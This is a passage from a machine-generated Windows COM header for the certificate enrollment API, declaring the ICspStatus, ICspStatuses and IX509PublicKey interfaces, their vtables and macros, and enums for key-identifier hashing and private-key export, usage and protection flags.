ICspInformations_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICspInformations_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICspInformations_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICspInformations_AddAvailableCsps(This)\t\\\n    ( (This)->lpVtbl -> AddAvailableCsps(This) ) \n\n#define ICspInformations_get_ItemByName(This,strName,ppCspInformation)\t\\\n    ( (This)->lpVtbl -> get_ItemByName(This,strName,ppCspInformation) ) \n\n#define ICspInformations_GetCspStatusFromProviderName(This,strProviderName,LegacyKeySpec,ppValue)\t\\\n    ( (This)->lpVtbl -> GetCspStatusFromProviderName(This,strProviderName,LegacyKeySpec,ppValue) ) \n\n#define ICspInformations_GetCspStatusesFromOperations(This,Operations,pCspInformation,ppValue)\t\\\n    ( (This)->lpVtbl -> GetCspStatusesFromOperations(This,Operations,pCspInformation,ppValue) ) \n\n#define ICspInformations_GetEncryptionCspAlgorithms(This,pCspInformation,ppValue)\t\\\n    ( (This)->lpVtbl -> GetEncryptionCspAlgorithms(This,pCspInformation,ppValue) ) \n\n#define ICspInformations_GetHashAlgorithms(This,pCspInformation,ppValue)\t\\\n    ( (This)->lpVtbl -> GetHashAlgorithms(This,pCspInformation,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspInformations_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICspStatus_INTERFACE_DEFINED__\n#define __ICspStatus_INTERFACE_DEFINED__\n\n/* interface ICspStatus */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspStatus;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab309-217d-11da-b2a4-000e7bbb2b09\")\n    ICspStatus : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt ICspInformation *pCsp,\n            /* [in] */ __RPC__in_opt ICspAlgorithm *pAlgorithm) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Ordinal( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Ordinal( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CspAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **ppValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CspInformation( \n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EnrollmentStatus( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_DisplayName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICspStatusVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspStatus * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspStatus * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspStatus * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspStatus * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspStatus * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspStatus * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspStatus * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICspStatus * This,\n            /* [in] */ __RPC__in_opt ICspInformation *pCsp,\n            /* [in] */ __RPC__in_opt ICspAlgorithm *pAlgorithm);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Ordinal )( \n            __RPC__in ICspStatus * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Ordinal )( \n            __RPC__in ICspStatus * This,\n            /* [in] */ LONG Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspAlgorithm )( \n            __RPC__in ICspStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformation )( \n            __RPC__in ICspStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentStatus )( \n            __RPC__in ICspStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_DisplayName )( \n            __RPC__in ICspStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICspStatusVtbl;\n\n    interface ICspStatus\n    {\n        CONST_VTBL struct ICspStatusVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspStatus_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspStatus_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspStatus_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspStatus_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspStatus_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspStatus_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspStatus_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspStatus_Initialize(This,pCsp,pAlgorithm)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pCsp,pAlgorithm) ) \n\n#define ICspStatus_get_Ordinal(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Ordinal(This,pValue) ) \n\n#define ICspStatus_put_Ordinal(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Ordinal(This,Value) ) \n\n#define ICspStatus_get_CspAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspAlgorithm(This,ppValue) ) \n\n#define ICspStatus_get_CspInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformation(This,ppValue) ) \n\n#define ICspStatus_get_EnrollmentStatus(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentStatus(This,ppValue) ) \n\n#define ICspStatus_get_DisplayName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_DisplayName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspStatus_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICspStatuses_INTERFACE_DEFINED__\n#define __ICspStatuses_INTERFACE_DEFINED__\n\n/* interface ICspStatuses */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspStatuses;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30a-217d-11da-b2a4-000e7bbb2b09\")\n    ICspStatuses : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICspStatus *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [helpstring][custom][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByName( \n            /* [in] */ __RPC__in BSTR strCspName,\n            /* [in] */ __RPC__in BSTR strAlgorithmName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n        virtual /* [helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByOrdinal( \n            /* [in] */ LONG Ordinal,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n        virtual /* [helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByOperations( \n            /* [in] */ __RPC__in BSTR strCspName,\n            /* [in] */ __RPC__in BSTR strAlgorithmName,\n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n        virtual /* [helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByProvider( \n            /* [in] */ __RPC__in_opt ICspStatus *pCspStatus,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICspStatusesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspStatuses * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspStatuses * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspStatuses * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspStatuses * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICspStatuses * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICspStatuses * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in_opt ICspStatus *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICspStatuses * This);\n        \n        /* [helpstring][custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByName )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in BSTR strCspName,\n            /* [in] */ __RPC__in BSTR strAlgorithmName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        /* [helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByOrdinal )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ LONG Ordinal,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        /* [helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByOperations )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in BSTR strCspName,\n            /* [in] */ __RPC__in BSTR strAlgorithmName,\n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        /* [helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByProvider )( \n            __RPC__in ICspStatuses * This,\n            /* [in] */ __RPC__in_opt ICspStatus *pCspStatus,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        END_INTERFACE\n    } ICspStatusesVtbl;\n\n    interface ICspStatuses\n    {\n        CONST_VTBL struct ICspStatusesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspStatuses_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspStatuses_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspStatuses_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspStatuses_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspStatuses_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspStatuses_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspStatuses_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspStatuses_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICspStatuses_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICspStatuses_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICspStatuses_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICspStatuses_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICspStatuses_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICspStatuses_get_ItemByName(This,strCspName,strAlgorithmName,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByName(This,strCspName,strAlgorithmName,ppValue) ) \n\n#define ICspStatuses_get_ItemByOrdinal(This,Ordinal,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByOrdinal(This,Ordinal,ppValue) ) \n\n#define ICspStatuses_get_ItemByOperations(This,strCspName,strAlgorithmName,Operations,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByOperations(This,strCspName,strAlgorithmName,Operations,ppValue) ) \n\n#define ICspStatuses_get_ItemByProvider(This,pCspStatus,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByProvider(This,pCspStatus,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspStatuses_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0012 */\n/* [local] */ \n\ntypedef \nenum KeyIdentifierHashAlgorithm\n    {\n        SKIHashDefault\t= 0,\n        SKIHashSha1\t= 1,\n        SKIHashCapiSha1\t= 2,\n        SKIHashSha256\t= 3,\n        SKIHashHPKP\t= 5\n    } \tKeyIdentifierHashAlgorithm;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0012_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0012_v0_0_s_ifspec;\n\n#ifndef __IX509PublicKey_INTERFACE_DEFINED__\n#define __IX509PublicKey_INTERFACE_DEFINED__\n\n/* interface IX509PublicKey */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509PublicKey;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30b-217d-11da-b2a4-000e7bbb2b09\")\n    IX509PublicKey : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ __RPC__in BSTR strEncodedKey,\n            /* [in] */ __RPC__in BSTR strEncodedParameters,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromEncodedPublicKeyInfo( \n            /* [in] */ __RPC__in BSTR strEncodedPublicKeyInfo,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Algorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Length( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncodedKey( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncodedParameters( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ComputeKeyIdentifier( \n            /* [in] */ KeyIdentifierHashAlgorithm Algorithm,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509PublicKeyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509PublicKey * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509PublicKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509PublicKey * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509PublicKey * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ __RPC__in BSTR strEncodedKey,\n            /* [in] */ __RPC__in BSTR strEncodedParameters,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromEncodedPublicKeyInfo )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ __RPC__in BSTR strEncodedPublicKeyInfo,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Algorithm )( \n            __RPC__in IX509PublicKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Length )( \n            __RPC__in IX509PublicKey * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncodedKey )( \n            __RPC__in IX509PublicKey * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncodedParameters )( \n            __RPC__in IX509PublicKey * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *ComputeKeyIdentifier )( \n            __RPC__in IX509PublicKey * This,\n            /* [in] */ KeyIdentifierHashAlgorithm Algorithm,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509PublicKeyVtbl;\n\n    interface IX509PublicKey\n    {\n        CONST_VTBL struct IX509PublicKeyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509PublicKey_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509PublicKey_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509PublicKey_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509PublicKey_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509PublicKey_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509PublicKey_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509PublicKey_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509PublicKey_Initialize(This,pObjectId,strEncodedKey,strEncodedParameters,Encoding)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,strEncodedKey,strEncodedParameters,Encoding) ) \n\n#define IX509PublicKey_InitializeFromEncodedPublicKeyInfo(This,strEncodedPublicKeyInfo,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeFromEncodedPublicKeyInfo(This,strEncodedPublicKeyInfo,Encoding) ) \n\n#define IX509PublicKey_get_Algorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Algorithm(This,ppValue) ) \n\n#define IX509PublicKey_get_Length(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Length(This,pValue) ) \n\n#define IX509PublicKey_get_EncodedKey(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncodedKey(This,Encoding,pValue) ) \n\n#define IX509PublicKey_get_EncodedParameters(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncodedParameters(This,Encoding,pValue) ) \n\n#define IX509PublicKey_ComputeKeyIdentifier(This,Algorithm,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> ComputeKeyIdentifier(This,Algorithm,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509PublicKey_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0013 */\n/* [local] */ \n\ntypedef \nenum X509PrivateKeyExportFlags\n    {\n        XCN_NCRYPT_ALLOW_EXPORT_NONE\t= 0,\n        XCN_NCRYPT_ALLOW_EXPORT_FLAG\t= 0x1,\n        XCN_NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG\t= 0x2,\n        XCN_NCRYPT_ALLOW_ARCHIVING_FLAG\t= 0x4,\n        XCN_NCRYPT_ALLOW_PLAINTEXT_ARCHIVING_FLAG\t= 0x8\n    } \tX509PrivateKeyExportFlags;\n\ntypedef \nenum X509PrivateKeyUsageFlags\n    {\n        XCN_NCRYPT_ALLOW_USAGES_NONE\t= 0,\n        XCN_NCRYPT_ALLOW_DECRYPT_FLAG\t= 0x1,\n        XCN_NCRYPT_ALLOW_SIGNING_FLAG\t= 0x2,\n        XCN_NCRYPT_ALLOW_KEY_AGREEMENT_FLAG\t= 0x4,\n        XCN_NCRYPT_ALLOW_ALL_USAGES\t= 0xffffff\n    } \tX509PrivateKeyUsageFlags;\n\ntypedef \nenum X509PrivateKeyProtection\n    {\n        XCN_NCRYPT_UI_NO_PROTECTION_FLAG\t= 0,\n        XCN_NCRYPT_UI_PROTECT_KEY_FLAG\t= 0x1,\n        XCN_NCRYPT_UI_FORCE_HIGH_PROTECTION_FLAG\t= 0x2,\n        XCN_NCRYPT_UI_FINGERPRINT_PROTECTION_FLAG\t= 0x4,\n        XCN_NCRYPT_UI_APPCONTAINER_ACCESS_MEDIUM_FLAG\t= 0x8\n    } 